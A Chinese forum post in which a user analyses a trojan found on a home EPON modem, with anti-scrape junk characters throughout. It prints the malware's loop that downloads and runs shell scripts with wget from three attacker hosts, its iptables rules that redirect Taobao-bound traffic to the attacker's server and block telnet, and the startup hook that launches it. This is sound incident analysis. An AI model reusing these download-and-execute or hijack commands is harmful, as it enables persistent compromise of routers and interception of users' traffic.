|
本帖最后由 xzhower 于 2015-12-28 22:23 编辑
* ^: \- g: Z. Q2 B
$ U( O' h" _9 V/ L6 t a最近发现家里上网特别慢,经常打不开网页,排查两天发现是家里EPON的Modem(型号RG200O-CA)被黑了。. u& F$ E% X$ ^
# P5 X0 w: F2 z) ~+ [1 O3 f) s- H+ M s1 j4 p3 W
telnet进入Modem,检查系统文件,突然telnet中断,无法再telnet。断电重启,可以telnet进去,过一会儿还是telnet会中断。遂断开光纤,此时telnet正常,不再发生中断现象,初步判断telnet中断现象与上网状态有关。怀疑是Modem被木马感染。反复PS检查当前进程信息,突然发现一行可疑信息:# {1 j. f" F5 g
* {- R" Q3 Y3 F) }3 w
* f% I3 M6 ~' H( K6 I2 c0 l2 `
......! z6 }" n7 [# g Z5 e8 B: V6 F. a
wget -q -P /tmp http://koudaiba.sinaapp.com start.sh' b9 c. g. r& Y" g: [3 b
......! C8 [) `2 j! B9 Q, H
5 v& E9 b9 R, w$ ~# g
| 3 g2 y6 b& H, B! C' L' Q
% y4 L. ]! C0 \/ M此前因为仔细研究过这台Modem,开启了路由功能,并成功编译上传了一个打印服务器的程序,对这个Modem的系统比较了解,从未出现过这样的信息,因此可以断定确实是Modem受到了感染。
' U& S1 t I7 t4 @. b) S9 a; |经过搜索,上面的那行命令是通过/home/sh.sh启动的,查看/home/sh.sh内容如下:9 S, K5 P5 W& n/ h" ^
! `4 `, }8 J* u( t7 L( p9 f, H t
+ H( R4 H: o' W- p9 {$ t
# cd /home% P6 \* }4 k; o: s9 f( _
# ls -l* j# f( h6 W! K" ]
-rw-r--r-- 1 admin root 466 Nov 23 07:26 sh.sh <-------------< 11月23日就被感染了) p) ^' Q; q/ v
# cat sh.sh
L F6 C6 w/ k/ N#!/bin/sh
. o" O h0 N8 N- x+ f0 Cwhile true t4 q, f' i1 @0 @
do
/ ]" E. q2 a/ [5 [sleep 100
0 H1 N8 o. Y$ b6 Twget -q -P /tmp http://59.56.68.183:20011/start.sh || wget -q -P /tmp http://koudaiba.sinaapp.com/start.sh || wget -q -P /tmp http://abcdabcdabcdabcdabcd.com/start.sh && sh /tmp/start.sh && while true. j$ t! l& g& w7 O9 z6 o
do
% u: `6 {" n2 J; [( @wget -q -P /tmp http://59.56.68.183:20012/while.sh || wget -q -P /tmp http://koudaiba.sinaapp.com/while.sh || wget -q -P /tmp http://abcdabcdabcdabcdabcd.com/while.sh || sleep 43200 && sh /tmp/while.sh || sleep 43200. N& }# s' j1 e* N7 D
done
7 S- [6 d1 c+ d/ d% s. kdone- ~- \- I6 V( F$ g1 A; L
+ P6 K3 u( g# R' i
| ! H) p- K1 \: y/ n) P2 e
http://59.56.68.183:20011, http://koudaiba.sinaapp.com/,http://abcdabcdabcdabcdabcd.com/
, |$ d3 T$ ~; x9 A7 R: k# T可以看到木马程序从三个网站下载shell脚本并反复循环执行,好吧,我也下载下来看看里面什么东东/ g2 _" l$ R j) \2 ~/ ]
3 s; q! s; p1 ^5 G) q
! B2 G' n5 ^7 r6 Y3 k' g# q6 l4 R2 x3 w$ j* K0 u0 Q
#!/bin/sh for ip in"140.205.140.188" "110.75.96.102" "106.39.164.154" "140.205.142.214" "140.205.135.67" "140.205.164.96" "140.205.250.86" "110.75.206.8" "140.205.140.76" "140.205.32.93" "140.205.243.65" "140.205.170.51" "140.205.134.199" "140.205.230.37" "140.205.250.42" "110.75.96.109";do iptables -t nat -D PREROUTING -p tcp -d $ip --dport 80 -j DNAT --to-destination 59.56.68.183:20002 iptables -t nat -I PREROUTING -p tcp -d $ip --dport 80 -j DNAT --to-destination 59.56.68.183:20002 done for ip in"120.24.0.0/14" "121.40.0.0/14" "119.28.0.0/15" "203.195.128.0/17" "115.28.0.0/15" "114.215.0.0/16" "120.55.0.0/16";do iptables -t nat -D PREROUTING -p udp -d $ip --dport 53 -j DNAT --to-destination 114.114.114.114 iptables -t nat -I PREROUTING -p udp -d $ip --dport 53 -j DNAT --to-destination 114.114.114.114 done iptables -D INPUT ! -s 59.61.121.0/24 -p tcp --dport 23 -j DROP iptables -I INPUT ! -s 59.61.121.0/24 -p tcp --dport 23 -j DROP sleep 86400 |
, p4 Y$ e" k* J" _看到一串IP地址,后面又设置了防火墙规则。最后面的两条太显眼,就是只允许指定的网段能够telnet控制我的Modem,我之前的telnet中断现象就是它干的。3 P' Z7 P" w* D1 B& Z3 W2 G
前面两条规则是把对上面那些IP TCP 80端口的访问数据全部转发到了59.56.68.183的20002端口;' C4 x3 t. u0 R% I8 C& {, T$ u
中间的两条规则是把对中间那段IP地址段的DNS访问全部转发到了114.114.114.114貌似这没有太大的危害。
& B2 Z8 c: ?) |$ s4 Q4 o那就再来看看一开始的哪些IP地址是谁的吧,随便找个IP地址试试:8 r% F* g5 U; {! h" q, u
( f5 \* E. N0 o; K4 V
. c# f* R3 j% ?, D2 C& qC:\>telnet 140.205.140.188 80
6 H' P, u: D7 `- {' j oGET / HTTP/1.04 }" Q6 K1 O0 Y2 X3 x K
' w& Q. @! t7 c) X3 b' C
5 _6 ~6 s# a6 D0 o
0 I0 t3 ~$ H$ h' \: `' `0 q1 sHTTP/1.1 302 Found. z% r! t+ T4 H. H6 d9 t8 n
Server: Tengine( c3 J% h B! j8 n2 t3 |+ u f
Date: Sat, 26 Dec 2015 15:04:00 GMT' L9 ~) s/ Z4 Y$ }2 y0 D4 Z* b
Content-Type: text/html7 I$ o4 `# A- a( Q+ T
Content-Length: 258 z; Q' |& N' F2 |
Connection: close
; D( F! |7 h( s2 t$ qLocation: http://www.taobao.com/" t4 f2 m5 t/ d5 M- Y: w
Via: ad052071.et2[web,302]
9 X1 p/ i( S1 U8 g9 e
1 o3 {. W R0 Y% k6 L! G( l; J. O
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> E) R) P+ \1 E0 n% }, f" x
<html>
7 N0 Z. S- ? M* V<head><title>302 Found</title></head>
! |7 r' B+ X, ~<body bgcolor="white">5 S7 I6 ?) E% d0 [' {
<h1>302 Found</h1>
, R% |% C' z+ o- M! O2 k% X; c<p>The requested resource resides temporarily under a different URI.</p>
% p; T; d3 ^$ r<hr/>Powered by Tengine</body>
3 o) ?3 c6 j0 h0 z% ~$ [% y$ F</html># }2 O. S3 {/ _
& N' M/ v0 s9 s" y9 Y+ g8 G
1 e2 `: m" Z+ k; _: N' c | 3 W" z4 Q. ?& S1 M# s- g' @4 w
乖乖,居然是淘宝的IP,原来这个木马劫持了淘宝的IP,受害的用户不知不觉就连到了木马控制人的服务器上,真是吓死宝宝了。到百度一搜,那些IP地址大都是阿里巴巴的。) o4 C& L, Q% n3 [% [ y: v0 M1 u9 ~
而木马控制人的服务器IP59.56.68.183是福建某地的。
0 Q4 o% g J, M/ g5 s/ c- }* l/ {1 s+ r+ ]6 ]
回头再来看看木马程序是如何启动的,查到/etc/有个rc_vtp2.0* k" e' m0 _; v; O
-r-xr-xr-x 1 admin root 545 Nov 23 07:26 rc_vtp2.0
% L# V( o( V1 b$ n. {看看它的内容:
* w+ H y& u3 x: m
& _" y5 l- u- H2 c$ O' a4 D
8 u% L9 u6 b* D8 m# cat rc_vtp2.0+ R. N7 H% @; c4 P# o
#!/bin/sh* e: A2 G% e3 q" X; K5 {! L
! _1 d/ z2 R; d; Q& z: V
7 \# s- d1 g u5 l6 b6 W" Zmkdir /var/tmp/tftp
5 M9 c: P7 o7 h7 X2 j5 [mkdir /var/config
5 D e: G# D6 y3 K: S$ jmkdir /var/ctc9 Y. o0 @, W6 ]
! A+ h3 w( N: N, Q
0 I, M. P2 }2 t# zmkdir /var/net-snmp
' f) d7 g/ z8 H5 lmkdir /var/syslog
% M; Z. x% D5 B# N; c- |* v+ x8 {6 e4 s0 r7 ^4 Q6 b2 y( y
( \2 J0 D- D( K. P
/usr/sbin/lightbox
/ ?8 [" p1 f# |1 } Q' U! j* Y/ ~, E/ U
2 k/ ]4 _6 e* P J8 S$ X) P' G
# enhanced the logic unix/inet socket buffer and backlog# i6 V% u& d% s" g
echo -n "max_dgram_qlen is changed from "
; O. l* c1 e$ Q7 [ ncat /proc/sys/net/unix/max_dgram_qlen > /dev/console
& O% Y9 W' J/ r" eecho 100 > /proc/sys/net/unix/max_dgram_qlen1 l+ G7 l. d6 S( `; H* d' f5 {# Y
echo -n "to "* e- x$ A( ?. j: j; A1 A, }! u
cat /proc/sys/net/unix/max_dgram_qlen > /dev/console( o+ D/ f: K8 Z" P
echo -n "change the socket recv buffer uplimit to 512k"+ O4 L f- P2 b
echo "524288" > /proc/sys/net/core/rmem_max
. U0 j. C/ u5 {( d
9 H' C3 j# F; Y3 V9 a/ G T5 k& H, L* d; o& r1 \2 a
sleep 1
" o' n3 A, u8 m
# O6 ^# {& y; C, @& I& u) |* c% N
cm_logic&
. c8 a/ ]0 Y: w( m, q" Z0 P! I# y. \& u0 \
$ _/ N, Z+ ]7 Q) Y4 L1 h% t8 f
sleep 14 s! M$ A4 f' |% s5 |% m
$ q- {$ @% U% m7 Y2 \+ n
$ T h) L+ O9 ]# A0 F" a
syslogd && G) ~% t# N( h" k3 b
& Y( X* |4 G+ `/ U- }$ ]6 f: W. z+ w6 k) C3 \# g# K* j
sh /home/sh.sh&
3 x, X4 r& g! [
1 T' z1 @' r: z. Z n+ A
+ }, q8 Y- n4 n: m9 \2 d6 M/ f |
# w8 q0 @: I( i0 h/ R. v& N- X; H/ o7 p1 o+ [& b# ~' W9 l
在最后多了一句,之前的内容可能是原来就有的,因为之前没有备份过系统文件,所以不好判断。& r; ^- J- u L$ ~. t3 z/ M7 ]
再看看rc_vtp2.0是在哪儿启动的,只在/etc/profile中有一句
9 }7 k- X; R: \1 {$ T8 H }: B4 T
- L+ k9 `! d; u
......
# @$ {& G% E4 O/ I$ S+ `" K4 Y/etc/rc_vtp2.06 x' c+ L2 N2 @/ Y$ {/ v
% R8 h+ n0 n- l% Z/ [8 }+ N* _
......4 |. ~* r# x, L3 Z0 s! @ b& Y0 v8 ^
| 4 e' ?4 T) W# W7 S6 D: U
) X' Q0 a! Q$ m" }6 t
这就奇怪了,按理/etc/profile只有在有人登录之后才会执行,是不是还有另外的地方启动呢?
9 l) R! `! r/ p5 l; r
6 U7 p. T# T" M6 b
% [% g, ?) x+ q, p先赶紧把这些木马文件干掉,回头继续查。
/ F4 n% T! g& Y8 \* y* k D. k8 k0 o0 k. y- G
2015.12.26 23:190 |) I) y& ~: A0 R) o
+ R2 |- d2 V9 m+ j1 q/ W6 H/ y5 [2 g
# @: A9 C6 ^6 U* }2 h3 S9 f3 u. h* b
|
|